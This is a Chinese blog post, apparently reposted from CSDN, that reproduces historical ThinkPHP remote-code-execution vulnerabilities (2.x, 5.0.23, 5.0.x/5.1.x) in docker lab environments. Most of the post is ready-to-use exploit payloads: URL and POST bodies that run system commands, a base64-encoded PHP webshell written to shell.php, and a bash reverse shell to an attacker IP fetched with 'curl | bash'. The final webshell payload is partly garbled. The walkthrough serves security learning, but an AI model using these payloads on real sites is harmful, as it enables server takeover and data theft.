文章目录 ThinkPHP简介Thinkphp历史漏洞Thinkphp 2.x 任意代码执行漏洞漏洞描述影响版本漏洞复现 Thinkphp5.0.23远程代码执行漏洞(CVE-2018-2
Thinkphp 是一种开源框架。是一个由国人开发的支持windows/Unix/linux 等服务器环境的轻量级PHP开发框架。
 很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp开发的网站。
| 版本 | 漏洞类型 | 
|---|---|
| ThinkPHP3.2.3 | 缓存函数设计缺陷可导致Getshell | 
| ThinkPHP3.2.3 | 最新版update注入漏洞 | 
| ThinkPHP3.2.X | find_select_delete注入 | 
| ThinkPHP3.X | order_by注入漏洞 | 
| ThinkPHP5.0.X | sql注入漏洞 | 
| ThinkPHP5.0.10 | 缓存函数设计缺陷可导致Getshell | 
| ThinkPHP5 | SQL注入漏洞&&敏感信息泄露 | 
| ThinkPHP5.X | order_by注入漏洞 | 
| ThinkPHP5.X | 远程代码执行 | 
漏洞产生的原因是因为ThinkPHP 2.x版本中,使用preg_replace (‘正则规则’,‘替换字符’,‘目标字符’)的/e(可执行模式)模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 2.x
ThinkPHP 3.0
Docker-compose up -ddocker ps 
访问靶场地址 Http://yourip:8080

使用POC验证漏洞
http://192.168.88.130:8080/index.php?s=/index/index/xxx/${@phpinfo()} 
phpinfo被执行成功,那么试一试WEBshell
http://192.168.88.130:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}} 
蚁剑连接

ThinkPHP5.0.23版本的漏洞:获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
Thinkphp 5.0.0~ 5.0.23
docker-compose up -ddocker ps 
访问靶场地址

判断是否存在漏洞,访问/index.php?s=captcha页面,会出现报错

利用post请求,执行whoami命令,id,pwd等系统命令,都会回显到页面上来
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id 


使用echo命令写入webshell,需要将一句话木马进行base64编码

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -nYWE8P3BocCBAZXZhbCgkX1BPU1RbJ2NtZCddKTs/PmM= | base64 -d > shell.php 发送post请求,访问shell.php 文件

进入服务端查看是否上传成功

bash反弹shell操作
在攻击机新建一个xx.sh文件,写入bash反弹shell的命令。
bash -i >& /dev/tcp/192.168.88.128/6666 0>&1#IP为攻击机的ip,端口自定义 
攻击机上开启http服务保证,目标机器可以访问到xx.sh反弹shell文件
python3 -m http.server 80 
攻击机开启监听6666端口
nc -lvvp 6666 
使用post请求,发送以下poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.88.128/thinkphp5.0.23.sh | bash 
查看监听端口,发现成功反弹

框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。
ThinkPHP 5.0.5-5.0.22
 5.1.0-5.1.30
docker-compose up -d docker ps 
访问靶场,即可搭建成功

写入POC
index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1 
远程命令执行,POC
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 
写入webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put contents&vars[1][]=shell.php&vars[1][]=/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -nbash反弹shell命令得base64编码 | base64 -d > shell9.php 
来源地址:https://blog.csdn.net/weixin_44971640/article/details/128495915
--结束END--
本文标题: ThinkPHP历史漏洞
本文链接: https://www.lsjlt.com/news/393402.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0